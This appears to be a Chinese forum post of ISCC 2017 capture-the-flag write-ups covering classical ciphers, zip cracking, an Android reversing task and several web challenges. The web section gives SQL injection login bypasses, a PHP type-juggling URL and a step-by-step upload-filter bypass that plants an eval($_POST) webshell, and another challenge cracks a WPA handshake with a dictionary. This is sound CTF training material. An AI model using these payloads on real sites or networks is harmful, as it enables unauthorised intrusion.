官方QQ群2群:570630371 加1群的就不要加2群了 1群满了 Basic Wheel Cipher 身为二战时期的密码专家,你截获了通信员身上的一段密文、密钥序列和加密列表。你能看懂吗? 此题为托马斯·杰斐逊密码 可以看下维基百科 加密表: ZWAXJGDLUBVIQHKYPNTCRMOSFE KPBELNACZDTRXMJQOYHGVSFUWI BDMAIZVRNSJUWFHTEQGYXPLOCK RPLNDVHGFCUKTEBSXQYIZMJWAO IHFRLABEUOTSGJVDKCPMNZQWXY AMKGHIWPNYCJBFZDRUSLOQXVET GWTHSPYBXIZULVKMRAFDCEONJQ NOZUTWDCVRJLXKISEFAPMYGHBQ XPLTDSRFHENYVUBMCQWAOIKZGJ UDNAJFBOWTGVRSCZQKELMXYIHP MNBVCXZQWERTPOIUYALSKDJFHG LVNCMXZPQOWEIURYTASBKJDFHG JZQAWSXCDERFVBGTYHNUMKILOP 密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6 密文为:NFQKSEVOQOFNP 根据题目提示,所用加密方式为M-94 Encryption Disks,所以密钥代表轮盘位置,按照密钥重新组合轮盘: 2: < KPBELNACZDTRXMJQOYHGVSFUWI < 3: < BDMAIZVRNSJUWFHTEQGYXPLOCK < 7: < GWTHSPYBXIZULVKMRAFDCEONJQ < 5: < IHFRLABEUOTSGJVDKCPMNZQWXY < 13: < JZQAWSXCDERFVBGTYHNUMKILOP < 12: < LVNCMXZPQOWEIURYTASBKJDFHG < 9: < XPLTDSRFHENYVUBMCQWAOIKZGJ < 1: < ZWAXJGDLUBVIQHKYPNTCRMOSFE < 8: < NOZUTWDCVRJLXKISEFAPMYGHBQ < 10: < UDNAJFBOWTGVRSCZQKELMXYIHP < 4: < RPLNDVHGFCUKTEBSXQYIZMJWAO < 11: < MNBVCXZQWERTPOIUYALSKDJFHG < 6: < AMKGHIWPNYCJBFZDRUSLOQXVET < 按照密文将轮盘第一轮分别旋转到NFQKSEVOQOFNP的位置: [mw_shl_code=python,true]a ="""NACZDTRXMJQOYHGVSFUWIKPBEL
FHTEQGYXPLOCKBDMAIZVRNSJUW
QGWTHSPYBXIZULVKMRAFDCEONJ
KCPMNZQWXYIHFRLABEUOTSGJVD
SXCDERFVBGTYHNUMKILOPJZQAW
EIURYTASBKJDFHGLVNCMXZPQOW
VUBMCQWAOIKZGJXPLTDSRFHENY
OSFEZWAXJGDLUBVIQHKYPNTCRM
QNOZUTWDCVRJLXKISEFAPMYGHB
OWTGVRSCZQKELMXYIHPUDNAJFB
FCUKTEBSXQYIZMJWAORPLNDVHG
NBVCXZQWERTPOIUYALSKDJFHGM
PNYCJBFZDRUSLOQXVETAMKGHIW"""
b="NFQKSEVOQOFNP"
a=a.splitlines()
for j in range(0,25):
for i in range(0,13):
print a[j],
print[/mw_shl_code] 此题我们平台也有类似的题 ctf.bugku.com
公邮密码 小明的U盘中毒了。病毒把小明的文档压缩并加密。现在小明忘了公邮密码,然而记录密码的文档却被病毒压缩并加密,你能帮助小明解开吗?
用ziperello进行压缩包密码暴力破解,得到压缩包密码。打开压缩包,内容进行base64解码得到flag。
说我作弊,需要证据
你猜猜。。 我们刚刚拦截了,敌军的文件传输获取一份机密文件,请君速速破解。
打开文件得到以下内容
504B03040A0001080000626D0A49F4B5091F1E0000001200000008000000666C61672E7478746C9F170D35D0A45826A03E161FB96870EDDFC7C89A11862F9199B4CD78E7504B01023F000A0001080000626D0A49F4B5091F1E00000012000000080024000000000000002000000000000000666C61672E7478740A0020000000000001001800AF150210CAF2D1015CAEAA05CAF2D1015CAEAA05CAF2D101504B050600000000010001005A000000440000000000
504B0304是Zip的文件头
用Winhex新建一个文件,hex编码保存成zip
打开看到密码123456 输入密码解压得到flag
神秘图片小明最近参加一个叫共济会的社团,社长一天神秘失踪,在社长电脑桌面上同学们发现一张奇怪的照片,为找到社长,社员们正在努力解密这张照片,可是一直找不到答案,你们发现神秘蛛丝马迹吗?
binwalk查看
共济会密码(猪圈密码)   简单加密
636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067
hex decode 将16进制转换为字符

cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g
然后解密base64得到
r5yG lp9I BjM tFhBT6uh y7iJ QsZ bhM(键盘密码)
PHP_encrypt_1
大黑阔在某数据库中提取到了管理员的密码,但是密码是加密的,本要放弃的黑阔突然发现加密竟然是可逆的,网页上的脚本被黑阔提取出来了,你能够帮助黑阔解密吗?黑阔感激不尽
加密数据:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
附件:
代码:
[mw_shl_code=php,true]<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>[/mw_shl_code]
将加密数据进行base64解码,得到Hex值:7D1E1A1D6C2E14261857274547132A1E1842281B1E1F575B17282B471216275518161A2D1630 根据源码得到解密代码: [mw_shl_code=php,true]<?php
$data = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=';
$data = base64_decode($data);
$str ='';
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
if(ord($data[$i])<ord($char[$i])){
$str .= chr(ord($data[$i])+128-ord($char[$i]));
}else {
$str .= chr(ord($data[$i])-ord($char[$i]));
}
}
echo $str;
?>
[/mw_shl_code]
二维码
扫描二维码得到提示:The password of the router is our flag,binwalk提取文件,得到2B6.zip,暴力破解压缩包密码:
解压缩得到C8-E7-D8-E8-E5-88_handshake.cap和破解记录.txt:前四位是ISCC 后四位由大写字母和数字构成。用字典生成器生成破解字典,前四位为ISCC,后四位为大写字母加数字组合。 airtack-ng使用生成的字典进行暴力破解,可以得到flag。
Web Web签到题,来和我换flag啊! Ps:比赛过程中严禁和其他队伍互换flag!!! http://139.129.108.53:3190/web-02/ 直接hackbar postdata:hiddenflag=f1ag&flag=f1ag&FLAG=f1ag
然后从头部信息里找到flag
WelcomeToMySQL
Welcome to MySQL! SQL inject?
http://139.129.108.53:8081/web-01/
php,phtml都上传不了
上传php文件拓展名后加空格 或者一句话改名上传,如php.php5 在菜刀中连接数据库,用户名/密码iscc2017
where is your flag
美国大黑阔Jack来窃取小明的flag,看上去确实很简单
http://139.129.108.53:6980/web-08/
我们一起来日站
老司机发挥所长,利用平时拿站的技巧来解题吧
http://139.129.108.53:5090/web-04/
根据robots.txt得到后台目录,admin.php登录
万能密码,直接post username=1&password=admin' or '1'='1
自相矛盾
打破常规,毁你三观!
http://139.129.108.53:8083/web-09/
这里有个原题可以看看 http://bobao.360.cn/learning/detail/188.html
最终构造url
http://139.129.108.53:8083/web-09/?iscc{"bar1":"2017a","bar2":[[1],1,1,1,1]}&cat[0]=123123&cat[1][]=1111&dog=%00iscc2017
http://139.129.108.53:8083/web-09/index.php?iscc={"bar1":"2017a","bar2":[[1],1,2,3,0]}&cat[0]=123123&cat[1][]=1111&dog=%00isccctf2017
http://139.129.108.53:8083/web-09/?iscc={"bar1":"2017sd","bar2":[[1],2,3,4,0]}&cat[0]=sisccctf2017&cat[1][]=1&dog=%00
I have a jpg,i upload a txt.
小明发现,php将上传的jpg文件流写入一个txt中,再重命名后缀为jpg还可以正常读取,于是写了一段上传代码,会不会有什么漏洞呢?
http://139.129.108.53:3366/web-03
这道题出的非常有意思,难住了好多人
页面显示了源码:
通过审计发现do=rename并且re=一个值的时候,后缀是可以控制的 rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
[mw_shl_code=php,true]$re2=@unserialize(base64_decode(unKaIsA($re,6)));
foreach($re2 as $key=>$value)
{
if($key==0)
{
$rename=$value;
}[/mw_shl_code]
可以看到有个unKaIsA函数,但是这个函数我们看不到怎么算的,那怎么办?自己做实验吧,本地搭环境输出未加密的时候的值
[mw_shl_code=php,true]POSTDATA:filetype=png&filename=1212
serialize:a:2:{i:0;s:3:"png";i:1;s:4:"1212";}
Base64:YToyOntpOjA7czozOiJwbmciO2k6MTtzOjQ6IjEyMTIiO30=
KaIsA:EZisUhnjUdG7wtitUcPqvgwcU2e6SZntUdW6OdKsSZOcU30=[/mw_shl_code]
肯定和凯撒加密相关,那么就是移位,写个脚本判断一下:
[mw_shl_code=python,true]a='EZisUhnjUdG7wtitUcPqvgwcU2e6SZntUdW6OdKsSZOcU30='
b='YToyOntpOjA7czozOiJwbmciO2k6MTtzOjQ6IjEyMTIiO30='
for i in range(len(a)):
if ord(a) - ord(b)<0:
x=ord(a)-ord(b)+26
else:
x=ord(a)-ord(b)
print a,b,x[/mw_shl_code]
得到:
[mw_shl_code=applescript,true]E Y 6
Z T 6
i o 20
s y 20
U O 6
h n 20
n t 20
j p 20
U O 6
d j 20
G A 6
7 7 0
w c 20
t z 20
i o 20
t z 20
U O 6
c i 20
P J 6
q w 20
v b 20
g m 20
w c 20
c i 20
U O 6
2 2 0
e k 20
6 6 0
S M 6
Z T 6
n t 20
t z 20
U O 6
d j 20
W Q 6
6 6 0
O I 6
d j 20
K E 6
s y 20
S M 6
Z T 6
O I 6
c i 20
U O 6
3 3 0
0 0 0
= = 0[/mw_shl_code]
也就是说大写字母是正常移位,小写字母是反向移位(20可以看做-6),其他不移位,那么改成将png改成php,如下:
[mw_shl_code=applescript,true]POSTDATA:filetype=php&filename=1212
serialize:a:2:{i:0;s:3:"php";i:1;s:4:"1212";}
Base64:YToyOntpOjA7czozOiJwaHAiO2k6MTtzOjQ6IjEyMTIiO30=
KaIsA:EZisUhnjUdG7wtitUcPquNGcU2e6SZntUdW6OdKsSZOcU30=[/mw_shl_code]
执行,结果,可以看到成功重命名为php
[mw_shl_code=php,true]curl 'http://139.129.108.53:3366/web-03/index.php?do=rename&re=EZisUhnjUdG7wtitUcPquNGcU2e6SZntUdW6OdKsSZOcU30='
<html>
<body>
you success rename!./uploads/1120999714.php</body>
</html>
[/mw_shl_code]
可以上传PHP了,那么就要构造里面的内容了,怎么绕过过滤呢?
代码里面过滤了、php、<script、</script,大小写不敏感
观察下这段语句:
if($key==0)
{
$rename=$value;
}
就是说$key为0的时候,$rename才等于$value,那么$key什么时候等于0?就是数组转化时不设置key的时候,会从0开始排列,但是我们给他一个初始化的值呢,我们知道了加解密的过程,那么后面的就可控了。
写个PHP帮我们实现:
[mw_shl_code=php,true]<?php
$age=array(1=>"1419099590",2=>"1525427108");
echo serialize($age);
?>[/mw_shl_code]
注意,这里key不要用字母代替,因为bool('a'==0)是true,PHP的坑,好了,这时候1419099590和1525427108两个TXT,都会传到下面这里执行:
[mw_shl_code=php,true]else
{
if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value))
{
$file=file_get_contents('./uploads/'.$value.'.txt');
fwrite($fp,$file);
}
}
[/mw_shl_code]
那两个文件的内容都写进了新文件里面,那么我们构造两个文件(因为if(count($re2)==2) 这里检测了数组的长度只能是2):
文件1:<
文件2:? eval($_POST[a]);
使用这两个文件生成一个新文件,再按照上面写PHP的思路,写到PHP里面,访问生产的PHP,发现被跳转到“http://139.129.108.53:3366/web-03/flaggalf.php”
[mw_shl_code=php,true] <?php
show_source(__FILE__);
//flag已经给你了,还来这里找什么?猜一猜它在哪~
?>[/mw_shl_code]
[mw_shl_code=php,true]curl 'http://139.129.108.53:3366/web-03//uploads/1469817095.php' -v
* Trying 139.129.108.53...
* TCP_NODELAY set
* Connected to 139.129.108.53 (139.129.108.53) port 3366 (#0)
> GET /web-03//uploads/1469817095.php HTTP/1.1
> Host: 139.129.108.53:3366
> User-Agent: curl/7.51.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Tue, 09 May 2017 15:03:03 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.21
< Location: ./../flaggalf.php
< Content-Length: 38
< Content-Type: text/html
<
* Curl_http_done: called premature == 0
* Connection #0 to host 139.129.108.53 left intact
flag{54a5bd4fe6193580020487b56acff6c5}[/mw_shl_code]
Simple sqli
上次小明的系统被注入了。这次他加了个变态的验证码 不好绕过了吧
http://139.129.108.53:4567/web-05/
用户名:'union select md5(1)#
密码:1爆破md5脚本
md5爆破.py
(124 Bytes, 下载次数: 2267)
Mobile
简单到不行
这是一道送分题,不要白不要~
crackone.apk
分析 :
首先需要找到自己顺手的工具先反编译安卓的APK
搞清楚APK内部的逻辑
这里使用 jeb 进行 APK 的反编译
直接将 APK 拖入窗口左边的工程栏目 , 就会自动进行反编译
可以看到这个工程有两个程序员写的类 , MainActivity 以及 Digest 类
分别反编译 :
根据对代码的分析可以知道 , 这个安卓应用有两个控件 :
一个 EditText 用于接收用户输入 , 另一个 Button 用于检验用户输入是否合法
需要我们重点关注 Button 的 onClick 事件
这里调用了一个 JNI 层的函数 : checkFlag , 我们只使用 jeb 是不能直接反汇编出 JNI 层的函数的
需要将 APK 中的动态链接库 .so 文件单独提取出来进行分析
这里根据字符串 : "ABCD...0123456789+/" 以及下面的 append("=")
可以很容易判断出是 Base64 编码
APK 中打包了两种架构的动态链接库 , 我们这里使用 x86 架构的.so 文件
使用 IDA_pro 载入这个 so 文件
找到 checkFlag 函数
f5 反编译成 c 代码
不过这里反编译成的 c 代码在有的地方似乎存在一点问题 , 如果发现某些地方比较诡异的话
再回去看看汇编基本上就可以明白了 , 可能是编译器优化的问题 , 导致 IDA 不能正确识别出 C
在 checkFlag 函数中 , 重点有这么两段
将传入的字符串使用了 malloc 重新复制了一份
这里算法的意思是 :
将用户输入的字符串按照长度分割成两半
把前一半字符串中的字符按照从左到右的顺序取出来 , ASCII码减去 5 , 然后与后半个字符串与之对应的位置进行交换
举个例子 :
用户输入的字符串 str = "9876543210"
分成两半 :
前一半为 : "98765"
后一半为 : "43210"
对前一半的所有字符 , 从左向右取 , 第一个取到的是 9 , ASCII - 5 , 变成字符 4 , 然后与后半个字符串的对应位置 (也就是 '0' ) 的位置进行交换
那么这一次变换得到的结果就是 :
str = "0876543214"
那么这个算法总结一下的话 , 其实可以这样理解 :
首先将整个字符串逆序 , 然后将后半个字符串的每一个字符ASCII都减去 5 这里在逆向过程中的一些小技巧 : 1. f5 将汇编代码反编译成 c 代码2. 光标在某一个符号上的时候 , n 可以修改这个符号的名称3. *((_BYTE *)new_str + i) 类似这种结构 , 对应到 C 语言里面其实就是 new_str
当处理完用户输入的字符串的时候 , 进行的操作是 :
将用户处理完的结果和程序中已经存在的一段数据逐字符进行对比 , 对比如果完全一致就返回 1 , 反之就 return 0 程序中的这个字符串是 :
=0HWYl1SE5UQWFfN?I+PEo.UcshU
这里注意到第一个字符是 "=" , 根据之前的分析 , 最终明文的字符串最后一个字符是 ' = '
这也就基本上对应了 java 里面的 Digest 类中的 Base64 算法
那么解密算法就是将这个密文逆序 , 前半部分的ASCII码全部加上 5
得到一个 Base64 解这个 Base64 即可 cipher = "=0HWYl1SE5UQWFfN?I+PEo.UcshU"def decrypt(cipher): plain = list(cipher[::-1]) for i in range(0,(len(plain) / 2)): plain = chr(ord(plain) + 5) return ''.join(i for i in plain)print decrypt(cipher).decode("base64")
突破!征服!
Misc
眼见非实
虽然有word的头,但是是一个zip,其实word也是个zip
解压出来在/word/document.xml里面有flag
建议命令:find ./ -name '*' | xargs grep 'flag'
就在其中
啊。我好像捕获到了什么不得了的东西。
-----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQD0UN0A+70iM0VCJ1ni0n/U1BRj0u8yMWH4Qi+xTbjHgbE7wOuk OaO+2PyQXiqIzZnf5jCkJuVDYjALGcKrZM4OCQBBd85B/LTc36XZ7JVfX5kGy5tI R3tquuPIVKNdAsHlSqh9S7YSS39RdnSa5rOUyGhrLzxwzzM9IO4e+QQ+CQIDAQAB AoGADiaw5mGubtCxbkeBOVYf+V/fXnjVSf76QbrzsD1kOooUjfV6sKR2C5Pd7S7H H+1owENBBgEKvoBtb/cqA2tvU9vQ4l5TMBJcHv6LEcb9WPpnMxPV2GNjO+DTPGPy Xnu1UZlZjwx+NaF5rESoSSVS2ZaaIixBs4RWRXk+lHEbTFECQQD6Rp6jMweRgPHO pR3mgIK83zL+kzqYM5isIPv3DIC5JQN2kXqK73IDQCFVlfXnr9lAAVRzLDsAXLqv le/o6yQLAkEA+edY+GERlLuD1t2k9Js0Dc7EwnLcxoFUE60ivj8Gf9jzLskGHxsv 0IV6J5OHwPh54kAxAnqCjSqNRAWGNzr+uwJBALYEjDUm1LdGrxXZ0jAkgHC6Z0zs aK3uwHdXGcinqCp+t9EQpq3KzQF+L4AeKxRQONEq5m9I2LQ/vGocwrmD4dcCQQDb rTyOinWz8upAFPKOe2hUwvA/pkzgyosoCMhDyI9kD0gmVlvlODbd7Jem9o8dWM97 zcXHUf41LbSkmN6U6m1FAkEAqmZbr35bPfkeoiikwNl6OVQytg12TZjw2vIbvfub f9Rvti8Lh/tbrmhZroiz8/l3aAZmugI1NBcbeZR0gz8ggg== -----END RSA PRIVATE KEY-----
私钥保存为文件pri.key openssl rsautl -decrypt -in key.txt -inkey pri.key -out key_de.txt flag is {haPPy_Use_0penSsI}
再见李华
很普通的Disco
音频 音频前0.00几秒那段 高位为1低位为0,总共105位,是7的倍数,ASCII一下OK 莫斯密码解密 flag{W0W*funny}
|